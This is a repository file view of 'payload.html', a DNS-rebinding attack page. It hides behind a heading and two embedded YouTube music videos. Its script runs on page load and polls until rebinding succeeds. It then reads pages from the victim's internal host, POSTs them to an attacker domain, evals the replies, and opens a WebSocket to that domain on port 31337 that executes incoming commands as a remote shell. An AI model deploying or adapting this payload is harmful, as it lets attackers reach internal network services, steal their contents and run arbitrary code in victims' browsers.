-
Notifications
You must be signed in to change notification settings - Fork 1
/
payload.html
144 lines (139 loc) · 4.02 KB
/
payload.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
<html>
<head>
<title>TURN UP THE RADIO!!</title>
<style>
body{
background: linear-gradient(to right bottom, black, grey) fixed;
color: #20C20E;
display: flex;
flex-direction: column;
justify-content: center;
text-align:center;
}
p{
display: flex;
justify-content: center;
align-items: baseline;
}
#status_check {
height: 2px;
width: 2px;
font-size: 2px;
overflow: none;
}
</style>
<script>
DOMAIN_NAME="mysite.xyz"
LOGCAT="logcat."+DOMAIN_NAME
SHELL="logcat."+DOMAIN_NAME
data = "global"
retry_time = 5000
connected = 0
function upload(data, dontEval){
var xhr = new XMLHttpRequest();
// remote logcat allows CORS
xhr.open("POST", "http://"+LOGCAT)
xhr.onreadystatechange = () => {
if (xhr.status == 200 && xhr.readyState == XMLHttpRequest.DONE){
console.log("[*] Uploaded!")
if (!dontEval) // specially for calls from navigate(...)
eval(xhr.responseText)
console.log("[*] Injected!")
}
}
xhr.send(data)
}
function navigate(url, method, data){
console.log("[*] Navigating to "+url)
if (method === undefined)
method = "GET"
var localXhr = new XMLHttpRequest();
localXhr.open(method, window.location.protocol+'//'+window.location.hostname+url);
if (method.toUpperCase() === "POST")
localXhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
localXhr.onreadystatechange = () => {
if (localXhr.status == 200 && localXhr.readyState == XMLHttpRequest.DONE)
upload(localXhr.responseText, true)
}
localXhr.send(data)
}
function exploit(){
if (connected == 1){ // False positive call
setTimeout(exploit, retry_time)
return
}
flushCache()
var xhr = new XMLHttpRequest();
xhr.open("GET",document.location.href+"/attacker_uuid?"+Math.random())
xhr.onreadystatechange = () => {
if(xhr.readyState == XMLHttpRequest.DONE){
if(xhr.responseText.split("\n")[0] == "0103d440-9be5-44f6-abc7-4014f0926721"){
console.log("Attempt failed...")
console.log(xhr.responseText)
document.getElementById('status_check').innerHTML = xhr.responseText
}
else{
// The attaker's id file is no longer present
console.log("[*] Rebinding complete")
var localXhr = new XMLHttpRequest();
localXhr.open("GET",window.location.href);
localXhr.onreadystatechange = () => {
if (localXhr.status == 200 && localXhr.readyState == XMLHttpRequest.DONE)
upload(localXhr.responseText)
}
localXhr.send()
let socket = new WebSocket("ws://"+SHELL+":31337")
socket.onclose = function(e){
console.log("Disconnected, lower retry time")
connected = 0
retry_time=2000
}
socket.onmessage = function(e){
let out = eval(e.data)
socket.send(out)
}
socket.onerror = function(e){
console.log("Server issue, tring quick retries")
connected = 0
retry_time=2000
}
console.log("Connected, higher the retry time")
connected = 1
retry_time = 30*60*1000
}
}
}
xhr.send()
setTimeout(exploit, retry_time)
}
function flushCache(){
var frame = document.createElement("iframe")
//frame.style.display = "none"
frame.style.height=5
frame.style.width=5
frame.src="http://"+window.location.hostname+"/?"+parseInt(Math.random()*10000)
frame.sandbox="allow-same-origin allow-forms"
var body = document.getElementsByTagName('body')[0]
body.appendChild(frame)
frame.onload = function(){
this.parentNode.removeChild(this)
}.bind(frame)
}
function conn_check(){
if (connected == 0)
console.log("Disconnected for long time, lower retry time")
retry_time=5000
}
setTimeout(exploit, retry_time)
setInterval(conn_check,30000)
</script>
</head>
<body>
<h1>Hello. Friend.</h1>
<p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/UX2SRgr5Wg8" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
<iframe width="560" height="315" src="https://www.youtube.com/embed/TeccAtqd5K8" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
<div id="status_check"></div>
</p>
</body>
</html>